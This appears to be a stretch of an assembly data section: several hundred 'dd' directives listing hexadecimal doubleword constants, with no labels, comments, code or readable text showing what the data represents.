		dd 0FE537Dh, 0FC6FBCE4h, 0E185F7D4h, 0E01024B0h, 539FFB13h
		dd 0B7DCA3FEh, 0E689C0E8h, 38900285h, 38A00C90h, 0B97D6871h
		dd 1817BB05h, 74E4820Dh, 88009D67h, 36D9BF61h, 2820685Eh
		dd 69D489Ah, 9EDB789Bh,	911748D1h, 0A8E1BFA4h, 4E8C8D2Bh
		dd 0C02288D8h, 706381BCh, 945A600h, 7C120E4h, 0CD8612A1h
		dd 0C890B0C0h, 0C9207098h, 0A27E09E9h, 30F16E87h, 44F70054h
		dd 0B2683E42h, 8F0F7A93h, 0BAD99D5h, 80AC3D34h,	65772946h
		dd 76128E1Ch, 3D13C57Eh, 0CE9AC02h, 4AA8F283h, 0B21CA671h
		dd 0F0815D37h, 7047184h, 0EC036C81h, 80349E6Ah,	0D9A6841Dh
		dd 889F1070h, 64B87D18h, 50D044BFh, 30C8E6Eh, 90F65508h
		dd 2CC951BFh, 44D6F459h, 6CB2847Ch, 0E470679Fh,	1F4B602Eh
		dd 84321FF3h, 0F150B08Dh, 9A1C7287h, 0B9B05007h, 5A0047Fh
		dd 0D9866031h, 0F5AF81BEh, 0C8163AEFh, 86C47CB8h, 0C412AF03h
		dd 0E659B080h, 94D9828Bh, 0D6692900h, 9C8D15h, 0A3481854h
		dd 5BBCE74Ah, 65D32D05h, 10BC36DAh, 0C7825509h,	144F9422h
		dd 27005C27h, 0A037C8h,	9750F695h, 13E22287h, 388B8130h
		dd 5BD8AF0Ah, 0C810CB6Eh, 0EEE0CF21h, 56EDB02Dh, 2D86E839h
		dd 0F8987911h, 3E8603FDh, 242C510Ch, 38B7044Ch,	9D8C0729h
		dd 1DF6EEC0h, 0D06A5CC7h, 21C4E880h, 9B901BD5h,	22FB6000h
		dd 0BCDDB3C3h, 261375D3h, 0E30B71Ch, 5C05C867h,	27E4F465h
		dd 0C5860704h, 8482162Ch, 100BD7B7h, 24DCE8DCh,	3C68E62Eh
		dd 8079A614h, 78B32446h, 7E0254A0h, 475B7227h, 6004646Ch
		dd 2451A103h, 31DC994h,	0D585A0A8h, 1B84A590h, 79C2F0C9h
		dd 0A4928260h, 0A068FB3Bh, 0A8B48974h, 702CFB27h, 9E251718h
		dd 8F48D17Dh, 7C988CDh,	592D54F0h, 4F7C6811h, 70281EDh
		dd 7C1AC9FDh, 53B052C0h, 0ED0E82A4h, 42B2D701h,	5DD97C88h
		dd 56980C00h, 1A4A259Eh, 3AE018B6h, 47E3DCEBh, 4E1C498h
		dd 58BEA893h, 1D8A4FCh,	469FAD00h, 75891D69h, 0C1CA0192h
		dd 459320D3h, 649B2F94h, 89731881h, 86FCE3A0h, 0C6B5D0BDh
		dd 840C29C0h, 727D00D4h, 0F4ABA85Dh, 19EF10CCh,	82C40917h
		dd 9B080CACh, 5C5B27F0h, 0FEAAA58h, 2E8F3D1Dh, 11608A00h
		dd 0E32FFB9Ch, 8E00592Bh, 51E323F2h, 7AE0DAFAh,	2B731CFFh
		dd 0A2974800h, 6C911F81h, 38EB60B3h, 6943F9BCh,	63203413h
		dd 0ADDE9805h, 9CF6A4C5h, 0AC9005E0h, 6013D1EEh, 78003B13h
		dd 9D4127Fh, 0DC92959Ah, 0F0BC54D8h, 1D1C00D6h,	53166DE6h
		dd 379D0B17h, 801E1100h, 0C1F6F53Bh, 7AD10039h,	86A4702Bh
		dd 219774A5h, 12DCBFECh, 0FC7B9907h, 4D181F59h,	0C0900100h
		dd 0D7C49149h, 5C200BC8h, 0AC59F675h, 7C1FEA10h, 8E0A1284h
		dd 0C025C838h, 2DB8053h, 0F0216102h, 0F0CD4B2Fh, 66722510h
		dd 18E46065h, 0E9376F60h, 0F52C5200h, 0B766AA5Dh, 0A3364B70h
		dd 33F1B2D8h, 0CD2B86E0h, 2A7B802h, 0DEF89766h,	63A80694h
		dd 6D5CD0E8h, 49EC104Ch, 0E7C83601h, 50517C20h,	82D7FE9Ch
		dd 0C1F9AA03h, 0F1912408h, 0A440FD2Bh, 26311067h, 0A5B88BA4h
		dd 102F04E9h, 9A19848Ah, 48E8B590h, 9407CA5h, 180F4450h
		dd 0F4B0B700h, 6F433C1Ch, 0CABB0949h, 18D11EA8h, 66B1606h
		dd 0C2820331h, 47A2F1B9h, 0CA068C2h, 0ABE0DDCAh, 2892FB02h
		dd 0E61CA743h, 0A9860024h, 0FA2D9C79h, 82385456h, 5FDE0076h
		dd 0CBFFD59h, 711C6088h, 56E2A67Dh, 80A0675Bh, 0FC23B5F1h
		dd 0C5F80599h, 0FC0084ACh, 7FE62F32h, 47112D3h,	9F72E986h
		dd 28FCE170h, 88BC93BCh, 81005794h, 6B8C6D9Ah, 85FCC394h
		dd 3C9D25h, 2446AC8h, 373A0499h, 0BA050A01h, 28F8E412h
		dd 0ADB33C80h, 7900F0DEh, 7BE09D08h, 0FCC939DAh, 9C48B71Ah
		dd 18800414h, 12F02787h, 0A5A28C21h, 0A0202F52h, 620CF7Dh
		dd 1848FA8Eh, 39043CBAh, 476AC80Dh, 0A56442FAh,	0EC2022E8h
		dd 97D39048h, 5BCF843h,	23BA87CBh, 0F938EBB8h, 338C939Bh
		dd 7D0858F8h, 0BF9F10A8h, 55C3FB80h, 5F654BFAh,	1270A391h
		dd 0D045F954h, 88BD8493h, 40E86A25h, 7F12CD8Ch,	0ACBDF268h
		dd 6102EABCh, 0CE02FBC0h, 80A4FC6Bh, 44F2BF5Ah,	6702F1F7h
		dd 63B5B11Dh, 40E4E2DDh, 80341058h, 5F02C70Ah, 0F871747Dh
		dd 0DE747417h, 0DBE9883Eh, 132D98FCh, 38BBAC78h, 0E995E170h
		dd 9D65CC60h, 0CC73C01h, 2A46680h, 8411205Bh, 7F54C923h
		dd 80C8DB3Fh, 96ACB5B6h, 0A142177h, 0F7879F8Fh,	0E894900h
		dd 3D05C06Fh, 3A93499Ah, 2858A245h, 86959C2Ah, 0F8A1C28Ch
		dd 48452D67h, 71E9ACD1h, 192F79B8h, 720AADF4h, 5F995B3Ah
		dd 0A7D809F0h, 6B1CD8DAh, 0D296A1B1h, 8280D8E8h, 268AA58Eh
		dd 18CD475Eh, 0E064E62Ah, 778F9CDAh, 869E04CEh,	1205B495h
		dd 0F4F7D4B2h, 0EAE3504h, 8C27E540h, 0B2269414h, 771900DCh
		dd 2F543901h, 89290693h, 8281AF7h, 53198890h, 5F191BA7h
		dd 0FEBCFC7Ch, 38040343h, 0BF90B606h, 90821C17h, 0C039DD80h
		dd 0CD88102Bh, 0F008602Ch, 33F8BEEAh, 0D4FCB297h, 0CEF6DC30h
		dd 0A5566901h, 0DC1E3DE6h, 0A818812Eh, 0DD3A0210h, 247ED41Ah
		dd 0BB6F00DCh, 638B4EC8h, 1012F99Ah, 60A114BFh,	16D0CA2Bh
		dd 3CF9EA9Eh, 9801FBE8h, 7E757C2Fh, 5DCE5E72h, 0EA89B838h
		dd 40D0EF9Fh, 0DA475A60h, 485B2901h, 0F8F15EC2h, 0B6321B10h
		dd 539B6800h, 0AD8C8F52h, 4F7B015Bh, 6462B946h,	82D47D81h
		dd 1A9385h, 4289D88h, 0E5C7A8C1h, 0BFCFB7Fh, 2760B021h
		dd 2443B694h, 0ED321007h, 7C8B1769h, 87D18120h,	821314A5h
		dd 0A083C240h, 79CCD91Ch, 9D018FCh, 495C88BBh, 0CC394E2h
		dd 0BA83429Ch, 8850741Ah
		dd 18280454h, 93DCC20h,	1AD09D86h, 2176D47Ch, 83A803FCh
		dd 0C185E62Ch, 0E1A7871Dh, 0C17A52E0h, 6A254CF4h, 39D05427h
		dd 207F18Eh, 0D535CC02h, 0E050794Fh, 0DBA49209h, 713891FBh
		dd 2346B3Eh, 478492DDh,	87D200FEh, 305408ADh, 9F00EBB4h
		dd 21AFA77Ch, 1CA3DC7h,	1E0B1C7Fh, 0DEBAE67Ah, 66601CDEh
		dd 0B5116C97h, 0F1919C9Dh, 0A059F482h, 6D74027Dh, 0B89857D9h
		dd 899DE2F1h, 73445B18h, 81DEFAF0h, 98663D60h, 2D896392h
		dd 9C9FA884h, 0C6802F11h, 0C25FE163h, 91D8187Ah, 2573BAC0h
		dd 707A890Eh, 11041D9Fh, 0E9798020h, 93DFBE0h, 0FDEF9C91h
		dd 3192DC5Eh, 0A6C834A1h, 91EF25Dh, 189CB770h, 9885541Ch
		dd 5080F1CFh, 5421C1E5h, 6225CD72h, 77C786Bh, 59E67D01h
		dd 2CD42072h, 0DD7E37CBh, 3F68B7B7h, 0DE08A885h, 6F24F00Bh
		dd 5AAD8888h, 0CFACC054h, 76000156h, 9935D511h,	3E5281Bh
		dd 8629D81Ch, 0BAA53CC5h, 0EF802070h, 0AFCF1E7Ah, 5D49789h
		dd 0E8946078h, 8CF1BC98h, 0C2836712h, 88667029h, 0CF9D38B0h
		dd 1FC2B50Bh, 190F1DEh,	4D8375E0h, 0D458ED8Ah, 3C00D4BBh
		dd 8CA4A29Ah, 0D56DE3h,	0B8B96378h, 0C1C7567Dh,	468E595h
		dd 0FFE4BF70h, 4CB88812h, 1F7D37A2h, 872C1120h,	6B33922Eh
		dd 80D100E2h, 0C6D5E5DFh, 9F19703Fh, 2F781EA4h,	0AC58CE2Bh
		dd 0CF395EAh, 39C9DE58h, 5102A61Dh, 734E9990h, 0EA14ECE0h
		dd 58D8D395h, 0E400DFFCh, 56323B2Dh, 108B7D1Ch,	4AFB358Ch
		dd 5F8890E2h, 0C0484DA5h, 94B6E816h, 4B523D40h,	2F9CCADDh
		dd 0D8C4DB45h, 0E102EFA9h, 71253238h, 0E6F0E0A5h, 4D48217h
		dd 2289804Fh, 1CBC99EAh, 0C54C69EEh, 1DF15667h,	0E40D8058h
		dd 0A2B0BF9Ch, 3DE91C00h, 13D7D39Bh, 863A3FE7h,	0C6C50889h
		dd 17BF7C51h, 9CBC1B84h, 79F06B1Bh, 28439DF8h, 34933Dh
		dd 0DE23F7BAh, 3A163973h, 0A4DC537Ah, 73A7901h,	68E5777Ch
		dd 197402CCh, 0D785D067h, 8F10D890h, 7B317025h,	0B8CD80E0h
		dd 0D3B7EF34h, 506A2E0Ah, 73808C13h, 93D9DA1Ch,	7A04782Ch
		dd 37B8002Dh, 0A388E04Fh, 490009DFh, 60355E71h,	75D38AC2h
		dd 6464B53Bh, 0E2BCCDB5h, 58603E20h, 0CB412D0h,	7BF24676h
		dd 0B1C6ED12h, 0ADD6BCBCh, 1FC5B8C4h, 405E4B84h, 58B57CF0h
		dd 57496C93h, 0D0D22670h, 24AE90B4h, 0C06EEBC4h, 73203B03h
		dd 81072AA8h, 711224A2h, 0CECF77F0h, 98E900C2h,	16F31D17h
		dd 0FD5B2269h, 0D1C6E48Dh, 0F6920004h, 0B5543FCAh, 0F1A9F1EBh
		dd 2B36C5DEh, 20CC0B0h,	80C60752h, 0B7771CBDh, 0D7020064h
		dd 70FBDCEAh, 94DED412h, 814F84F2h, 2E180A28h, 789E2499h
		dd 908FC903h, 0F0823078h, 0EDC707Eh, 7C892A7Ah,	8845275Ch
		dd 647C65A5h, 7ED76019h, 3E6DE073h, 6718BB46h, 0B5882102h
		dd 7369E0BCh, 0CAF770F4h, 68F11E2Fh, 165F36Ch, 8AA94A44h
		dd 1011797Ch, 712E9Eh, 4DD43F93h, 9B97D46h, 0D245B60Bh
		dd 0C0787699h, 7CED489Eh, 4309197h, 0CB08282Fh,	2D85E388h
		dd 0C401D895h, 38F48772h, 0AE200B28h, 0DB58684Fh, 7E82005Ah
		dd 0C27FE0A2h, 0EB008B52h, 6456B4CEh, 9F4D337h,	0A6E3B762h
		dd 90DF9092h, 6E6F218h,	4335CE2Ch, 9706464Dh, 489B5FDEh
		dd 32707868h, 9A78244Ch, 0BF7268A1h, 0B857D264h, 2B96E8E8h
		dd 2184C1Ch, 39D08F70h,	0BEBC5612h, 0A8208712h,	0A0CA4A60h
		dd 301F9771h, 55802F11h, 5A871C21h, 30848B09h, 0A5A07314h
		dd 5B51445Bh, 33FCF7EDh, 0A586086Dh, 0CC2F2304h, 773C0560h
		dd 0ECDE4B2Ah, 8CF3EC50h, 79C1C62Dh, 4C4D4978h,	0F3D0EEC3h
		dd 225EC8ABh, 8493174Dh, 0E5FCA09Bh, 50E08503h,	9D078E66h
		dd 5E9D960Bh, 0B55DC9A4h, 0B8A70094h, 2CCE84B5h, 809D8C09h
		dd 6268C70Dh, 881B0402h, 17735BCh, 0D9F5687Dh, 6AA38492h
		dd 56939880h, 8F29012Ah, 5B7267CDh, 3C8206Fh, 6451842Fh
		dd 548A3C90h, 1308E92Ah, 0AD09658Ch, 19831638h,	48E820B9h
		dd 13E19C00h, 24B1953h,	7610A050h, 256F0EB4h, 5260997Dh
		dd 985C7E10h, 3E1C37EAh, 958294B3h, 74BF80ABh, 4467444h
		dd 1EEFC70h, 600A8F43h,	30719525h, 0B408DB8h, 0BDDFEC91h
		dd 2000F4ABh, 745632F6h, 495A35EEh, 404240E2h, 0C03FDE1h
		dd 51B82453h, 6D680174h, 2534C73Ch, 86E2B7Ch, 2081417h
		dd 0D79C497Fh, 46F4A05Ch, 0BDC51F21h, 6CE16004h, 527030AFh
		dd 535A6688h, 9C8034DBh, 46A17C1Dh, 0E4BAF700h,	2E9929C0h
		dd 69401989h, 0D2D536F9h, 0F6193C40h, 140E8626h, 0C0586DA5h
		dd 0F1FC5751h, 0ED928200h, 913335DCh, 737209Ch,	0B795E97Fh
		dd 0FCB000BCh, 4835B144h, 0E65539h, 0E84CF8A3h,	606AB7A7h
		dd 5AFEB90Ch, 4A0327BCh, 0F598FBA0h, 0E320EF08h, 599766A7h
		dd 0F05B54D8h, 0B8376B50h, 41FC3815h, 68640EFFh, 0A53D866Fh
		dd 0A79B0FBh, 128E2EC4h, 0ADF0F56Ch, 42770F9Ch,	6AEFE002h
		dd 12DBE380h, 0E33B1F6Fh, 0C586097Ch, 6050D00Ch, 0B754E877h
		dd 660459D3h, 0A7DAF03Fh, 80BC9BABh, 119AA073h,	3DB30227h
		dd 8F4A4DEh, 54145709h,	4656049Eh, 0BF510023h, 94E91CAFh
		dd 0F2C34A6Dh, 1CE99250h, 16EA30A8h, 5E13ABEEh,	0B500492Eh
		dd 29481AB3h, 0D49D169Ah, 0BFD44220h, 0E6552330h, 0B4CDBD4Ch
		dd 0EBB9C043h, 8C2A866h, 0F859275Ch, 0A774A872h, 64D4E79Dh
		dd 5B616116h, 15B0D86Bh, 30FC8195h, 699E115Ch, 0F46A12C8h
		dd 5003ABA4h, 45DDFB91h, 8E46C07Ah, 0CB1D5CD5h,	0A1527D05h
		dd 0E874C188h, 89A3013Ch, 40785870h, 0F6EADB1Bh, 7A9D8025h
		dd 0F0942270h, 79958CF8h, 0BC659210h, 84337C40h, 0F48619FDh
		dd 7B84C8ABh, 72624E07h, 28A58543h, 5E7E55C1h, 0F434E0EAh
		dd 2E128109h, 69C5C04h,	0D0537200h, 0D6B84C4h, 0E3EC49F9h
		dd 9C8FCF4h, 12757C2Ah,	599720FAh, 0D353E84h, 0D45CAE8Ch
		dd 59F4AD09h, 2C782DFCh, 1FFE3F20h, 1817AF38h, 0A8766110h
		dd 0F0E27D4Fh, 59EA0F18h, 0D49AD18Ch, 7A727E09h, 889571Fh
		dd 17B89C60h, 23FCCE02h, 88489B20h, 0C82DFF90h,	107E7A78h
		dd 21A30BDh, 0CD85E465h, 0F684E880h, 4A0A681h, 748AC806h
		dd 25ECB931h, 65687E72h, 7394EC15h, 0F761F260h,	1B92EEDh
		dd 0D62FB6CFh, 6B6AE8E2h, 4073E0D8h, 0DF125AF6h, 12BF8502h
		dd 846EEBECh, 1DE5C700h, 0C947A762h, 3CA23F26h,	0B8BAF90Dh
		dd 54D2B2A7h, 94907095h, 1E467458h, 9646DE00h, 29A007B6h
		dd 8A6D7C02h, 5DF07758h, 0C3810410h, 9B636A12h,	86EAEh
		dd 6678E43Fh, 3673D0Fh,	7C315B44h, 0B802F597h, 63E65A0Ch
		dd 0D64CD4EAh, 0F772CA02h, 448FF6FBh, 0A20989Ch, 817C8B40h
		dd 27338994h, 377Fh, 0FE63DFC5h, 8B1C7E73h, 79E7660Eh
		dd 39330CB8h, 4ED3D10h,	0ABB5FCA9h, 8908786Ah, 9480F8F1h
		dd 4F79063Bh, 0C3820EC8h, 5500BF0Dh, 2D93CD7Eh,	0EA0424h
		dd 0F34100DCh, 37BEE301h, 0C7027ECAh, 0E0C505CCh, 0C8E85533h
		dd 1A17D0A2h, 8E9870Fh,	0C828DA4Ah, 6128C716h, 2E4F0286h
		dd 0FA0ABC47h, 0F7016600h, 9CCC394Dh, 6D804A80h, 55682E58h
		dd 0FECA5005h, 35BA35DEh, 237C3A1Ch, 0ABA90014h, 0B7700C52h
		dd 0CC1F8026h, 0EB386525h, 7945704Dh, 1A5C08FEh, 2CBC9B12h
		dd 1FD7D3A2h, 401086Ch,	299F3860h, 5E501DDh, 844B2EB7h
		dd 58003ACBh, 8E2759D8h, 0BFFD267Eh, 188F6158h,	7B90A755h
		dd 88C07020h, 24FBD098h
		dd 0A05F7C04h, 0F30004F2h, 23F953D8h, 0D94AEA62h, 0B4E30F3h
		dd 84F03B58h, 0E15C8812h, 9C718A0h, 318A1CD4h, 4051485Eh
		dd 520C3184h, 0F4CAABE0h, 0F74B763Ah, 0A1B0A7B8h, 4B994231h
		dd 0EACB25Dh, 20BA569Bh, 8D229E2Eh, 34E90207h, 88C702E0h
		dd 990EE879h, 272D425Ah, 0CC89D71Ah, 1DDC9C7Ch,	9B83F595h
		dd 0FBF1811Eh, 475CE42Ch, 1459E600h, 0DF7ED8C1h, 0D4E0B57Ah
		dd 0A825B8CDh, 0CB0CC8C7h, 14C69F02h, 8558CC95h, 6018C48Ch
		dd 4630E90h, 3588D4C1h,	74C480A0h, 0EF0B3BF9h, 0A9F4C585h
		dd 0A818599Ch, 0BF842DA4h, 6ED8A081h, 0B7908968h, 0DC74F4A8h
		dd 0B86DA02h, 82B76A15h, 0A1359BCh, 34BF0EBCh, 5A34CDD6h
		dd 0F63DC2D0h, 804488h,	0EC4FD77Fh, 9A382B91h, 0F42890B5h
		dd 63810093h, 367DFCE4h, 0A309D2F7h, 5EA5AD84h,	73EF0754h
		dd 0B777E94Ch, 62980020h, 0B0575659h, 0F6F8A07Fh, 98D0895Bh
		dd 2CBEB80h, 707D9671h,	8CFC6897h, 0BACA584h, 904A312h
		dd 0FC68C586h, 87700B58h, 0F3F984D9h, 0A2D3518h, 816C7995h
		dd 6B48B6C6h, 64846A73h, 0BBB83CA9h, 127C7800h,	6728645Eh
		dd 3CDD5C55h, 0F86C0974h, 0BC5A8772h, 42992112h, 0E7DE5202h
		dd 489FFF1Bh, 9C1911h, 0E23FB14Bh, 0D1973E91h, 17B0AC68h
		dd 0D14A03Dh, 0C294E695h, 954A5E80h, 5F64BA57h,	98605CEDh
		dd 5062C4A2h, 4484D445h, 68C20620h, 4C809A52h, 2CC295E0h
		dd 1B10747Eh, 258C7126h, 9D3E420h, 341EF91h, 2EC21828h
		dd 88E07D63h, 0EE951BC5h, 0AA820F0Ch, 3A00290Ah, 93D41970h
		dd 0BCCD0E00h, 8689BC0h, 759AF4E3h, 0CC7E502Bh,	740B1780h
		dd 0FC2CFC87h, 66008CF6h, 62862C5h, 120C9ABAh, 0B1C95433h
		dd 9C306F30h, 0F240EE0Fh, 467F0141h, 0B60722B9h, 0E898C87Eh
		dd 0C0E25C4Fh, 99BFE007h, 63A301C7h, 0EC826BDDh, 0B4B555EAh
		dd 0A2E5482h, 90E0449Bh, 0F1B85A60h, 0EC10790Ch, 209305B9h
		dd 0BC6FA491h, 9BC3AB4h, 71C62CF1h, 2DA6609Ch, 0B252924h
		dd 40A05E0Dh, 0D09F841Ah, 5E8040C9h, 0A310E51Ch, 30F8E214h
		dd 8E09C1CBh, 56DB1669h, 8EF40CCh, 50B094E1h, 5E522E05h
		dd 343B376Bh, 100FB23h,	72056E6h, 4583128Eh, 2420BB77h
		dd 9C9618h, 0F4B4F913h,	0E4DA6775h, 33FAF161h, 15D4FB51h
		dd 0AC7995A5h, 39C526D7h, 4FB0F04Eh, 69CA1BFh, 0F730FACFh
		dd 16251475h, 0DD8035h,	0F5540D66h, 12002127h, 7CA06CB9h
		dd 7D36D29Ah, 0B1950B6Ah, 4482639Ch, 14D8E974h,	0A18C795Ch
		dd 9C74026Ch, 855512E5h, 90182CEAh, 3A1F1B40h, 740D2893h
		dd 7F51F331h, 9EFA034h,	96570C14h, 50539740h, 11C1550h
		dd 3073FE37h, 2EA38491h, 5CDCACC2h, 88B76B6Ch, 0A032B10Eh
		dd 5E391EFDh, 349D3188h, 0C0062EB9h, 37CE818h, 9C98C52Ch
		dd 0D4F8B792h, 0AE82409Eh, 70761660h, 91EA7728h, 68E6284Fh
		dd 0AEF425E0h, 8B3C4E2Fh, 21687EFCh, 32884FACh,	2C8C5A49h
		dd 0C1B8940Ah, 2B87139Eh, 9B3ADC89h, 301CCBE0h,	207C3078h
		dd 9A95F009h, 0F46D777Ch, 55FA3FC0h, 1DA0B14h, 54829352h
		dd 9E22121Ch, 8677D2Bh,	6003C8CFh, 2F2EBE72h, 0B4F66E09h
		dd 0BE44CE97h, 161DD4CCh, 0CF422A7Bh, 57625281h, 0A07C2C8Bh
		dd 0FE1C00DCh, 3A2EDAFBh, 6D169D6Ch, 50373F93h,	0FBB61C80h
		dd 8A1F05C7h, 0A9382F8Bh, 4F01B814h, 44E2C6h, 0F13C119Fh
		dd 13B6993h, 6CD81A15h,	6F900A77h, 95B520CCh, 33E664E4h
		dd 574ABD6Bh, 0EA866685h, 9BEA1FD5h, 8EB780B4h,	6AA5D8h
		dd 0AAD96CBCh, 153DB501h, 0B5905D9Fh, 0FF810F2Dh, 7EAA98F8h
		dd 2FF57717h, 61543995h, 2C4200F6h, 0A8F3E4BFh,	0F8648B96h
		dd 0C9401044h, 0F9395BE0h, 9C71011Eh, 8C7FF307h, 3E828E71h
		dd 18DA27Eh, 88C57229h,	9F409AA5h, 0F6771B95h, 5B5738B7h
		dd 0FF965F93h, 0E10EA86Eh, 18C09874h, 0B8E0F76h, 20EA1FD7h
		dd 9B94861h, 9DEB8C15h,	6EAB9690h, 78770E0Bh, 8B1D00A1h
		dd 0A80AEDBDh, 57F595BCh, 0B0B0B520h, 8C01565Dh, 9D2BFFCEh
		dd 4E860C45h, 0D21BD83h, 44A7D89Fh, 0F9FB8915h,	0BB96002Bh
		dd 393303F1h, 0FB8B5021h, 0E38166C8h, 7B7B4C29h, 0AD9D0B02h
		dd 0B15B8210h, 31DB5502h, 76A778h, 2AA04AA2h, 6658EFB2h
		dd 0B4D98B29h, 0B9B55D4Bh, 0A7726300h, 71BF17C4h, 261427A4h
		dd 0B593E477h, 64008279h, 2482AC96h, 0FF850042h, 80D8033Fh
		dd 0FB05393Dh, 0B3C05DA2h, 21B1AA04h, 8AB5B0Ah,	21009F5h
		dd 0FC060B22h, 2D01858Bh, 0C6F5331Ch, 4DD1C716h, 29D6EB24h
		dd 18A9BCA8h, 383AE980h, 0F9DAFFF3h, 60F0B9AFh,	0CF59053Dh
		dd 0C68589B5h, 8B24585Ch, 0B91C34C1h, 0D2335725h, 1FC91810h
		dd 4D073851h, 9A11AA60h, 0C7B0505Eh, 677AB7DAh,	90F9B5h
		dd 58D2B144h, 97174C26h, 6FFF6AD4h, 0D4A9007Bh,	45D30AEFh
		dd 0B799185Dh, 9D8B4A7Fh, 395BC8D0h, 918BBC5h, 7C022BBh
		dd 54683ECh, 29F560C6h,	0BA666090h, 5769BB17h, 5BB730BAh
		dd 904C5061h, 109110AEh, 95296661h, 40BC230Dh, 2248819Eh
		dd 1A71856Fh, 0FFDA9627h, 0FC458D9Ch, 9BAE17A8h, 69BC7CFh
		dd 316192D0h, 0A5DC0A94h, 67AFD1FFh, 4ECAE060h,	812752DEh
		dd 0AC4E7D26h, 572B7E69h, 0F660A56Dh, 617B6Ch, 6AD7F380h
		dd 0BF0F5002h, 905BFB04h, 0DA4013E9h, 6B20F3DCh, 91706EF2h
		dd 0B745AD00h, 0F7B0370Bh, 0F4CD16F5h, 6F20BA50h, 75E63Ch
		dd 0E51BF325h, 904B2013h, 70D4FBB7h, 0BF388C93h, 27AA96FDh
		dd 0E3804660h, 69E912D4h, 58AAB0Dh, 0A316CF24h,	2B2E788Fh
		dd 66880802h, 558D43BFh, 4358A4F3h, 630B2C73h, 8D496024h
		dd 0F8244167h, 230769ADh, 77FB1796h, 0F9092537h, 219202ABh
		dd 0EB90051Ah, 35D8A689h, 29413DC6h, 1E310B00h,	0AE9AC166h
		dd 50C09112h, 90FAEB04h, 0AC95E9FAh, 88FB48BBh,	0FB0C4E76h
		dd 0B67A1C9Dh, 0A03FE32Ch, 0B5C67673h, 80009373h, 0B57EAEBh
		dd 239526BDh, 1057A5BFh, 249D3319h, 0BEE10349h,	0B828ADDBh
		dd 0C0200262h, 5CD8DF1Ch, 861AC82h, 0E15989E4h,	9FFD5A72h
		dd 5E01B4B8h, 0BB66E02Ah, 6520EA84h, 0E92B4019h, 0B02DDF64h
		dd 0CD9D47C0h, 70E68018h, 0F9B70F05h, 0C8AF71E4h, 6400DB21h
		dd 0BA06E25Dh, 0CD0E30h, 0C381B7FFh, 6BC942EAh,	0F4FD5F5Fh
		dd 7A35B136h, 17541858h, 24FFC8B6h, 800FC0D5h, 0F8BF68C3h
		dd 8C0F188Fh, 28BF1D05h, 23B8BE17h, 0BD7942FFh,	0C8202041h
		dd 0B2E58D31h, 92D1FC69h, 8E59B52Ah, 29BD3106h,	0D050B721h
		dd 0CB109D20h, 8757C32Ah, 0AFAC1BAh, 0E90DDF13h, 0C5200607h
		dd 80B57095h, 0D0DFD03Bh, 0FD8A0AA2h, 2F6342E9h, 814055D6h
		dd 211BBACBh, 841F6113h, 0B48964E2h, 0C5BD4523h, 0A583F245h
		dd 66FE2106h, 32F43446h, 0F510284h, 0A8980486h,	0E96E6EB4h
		dd 0B58D0011h, 0CE17F9FFh, 0BA76BFCCh, 0D742A21Dh, 0FF09E893h
		dd 8A1CDC66h, 8D7B9FEh,	24C57ABFh, 0B3B1ADEh, 1841AB27h
		dd 23EED1Eh, 4BD80435h,	22430DBFh, 0FC860BB5h, 34EDF982h
		dd 6EFFF60Eh, 3C870329h, 0B9B9AF28h, 0C430CB80h, 0CA23CE0Bh
		dd 0B8FA9620h, 0D3045825h, 2BC14493h, 0B87FB9FAh, 49750AB2h
		dd 11FFFC09h, 865313h, 0ACBC2AA2h, 3A436640h, 6E00B54Eh
		dd 2B5F5B52h, 3318ADD2h, 0D078D1C2h, 4E90B83h, 377DF475h
		dd 0A7C400B0h, 6440BA36h, 65D6001h, 880DF963h, 1B60FA3Bh
		dd 0B7CB11h, 160879C1h
		dd 90CAF4DAh, 7804D500h, 76E8F3A4h, 0E349051h, 5F34D2D7h
		dd 29910532h, 6FCE1232h, 21A403A2h, 92088AAh, 9FE4EF5Ah
		dd 64D8E02h, 0B1109809h, 68110E88h, 809FBC05h, 3EB3E122h
		dd 80398BA3h, 8DC2BA50h, 8C10318h, 0A359A5EFh, 2B205819h
		dd 0BD1AB8FFh, 0AD270CD8h, 0E2EE7729h, 70A4F3B7h, 0E705DA3Bh
		dd 0CA438285h, 4439D0C7h, 22DE00D7h, 329A3DD3h,	4800F0B1h
		dd 135AAC4Eh, 7796CD2Fh, 5F11279Bh, 0BB0F9B2Eh,	334D4B82h
		dd 0D679DDE1h, 3E85E849h, 838B70ABh, 6000347Ah,	6458804Dh
		dd 22D76F8h, 740744B9h,	0CDD7E1FFh, 0C162C08Dh,	273C6FFEh
		dd 0ACC5B8CAh, 7D093301h, 71D36820h, 3F2F8626h,	0F4E5F404h
		dd 70760514h, 1001882Bh, 8FAED22Fh, 0DD07C78Ch,	71C157F4h
		dd 3048816Fh, 6B919803h, 375F53C9h, 9C860049h, 0E4CAB0D4h
		dd 0A4AB5C0Bh, 2E117560h, 6CF4ECE2h, 0B9017102h, 80536BE0h
		dd 665C3749h, 0ECD94C8Ch, 0B0BD110h, 7504E180h,	0CA017CB7h
		dd 0C90AE3AAh, 1989C41h, 0A065B77Ah, 168F8623h,	1F57D983h
		dd 4C0DD0F2h, 0F6693B81h, 63F67EEDh, 0D370CDE2h, 336EAF0Eh
		dd 0DF1BCB85h, 4C0033BDh, 0E834E29h, 50A5281Eh,	0F50F2FF4h
		dd 0F6665Ch, 0AE33FF69h, 8590B0BFh, 82487969h, 0F7198DADh
		dd 0FF1CAF4Ch, 60121F03h, 78299B88h, 2D181679h,	980888DBh
		dd 7F480700h, 1451B5CBh, 83D70BE2h, 0F194F21h, 6EBFECh
		dd 0AF25198Ah, 4EC2B03Ch, 0AF06125Bh, 0B056ACC8h, 2D0B3FE9h
		dd 8CC78BB5h, 1300AE65h, 1E889823h, 1066BFh, 150BED0Eh
		dd 4B8F5ED3h, 2E318B48h, 0A80B0B52h, 31BB07FFh,	31138825h
		dd 24ACA2BBh, 6F6A3E5Ah, 8C4EE860h, 0CC880026h,	0C89E1DC3h
		dd 7605AACFh, 58F6DCEFh, 8966DBBFh, 2A00E129h, 0AD10D93Dh
		dd 0A5C24009h, 850D3164h, 0E67FB8F1h, 0E91CF043h, 0B7939229h
		dd 0DA48135Ah, 59903671h, 26612070h, 0C4AEC74Fh, 0CCB6AE57h
		dd 8B54F6E0h, 3D94B52Dh, 3F138113h, 70E5EAF7h, 2041D98Eh
		dd 4B29B693h, 4F56022h,	1020EB7h, 758DD8Dh, 0B3F2617Dh
		dd 93E4BB49h, 72888D56h, 3A7FC3Ah, 6D9920D1h, 86EBAE6Bh
		dd 38FCC598h, 0F98B1517h, 4463D03h, 856A6901h, 0EEF5D343h
		dd 28402F84h, 1D2D126Ah, 26DB0058h, 225E3C5Dh, 0C67E6C53h
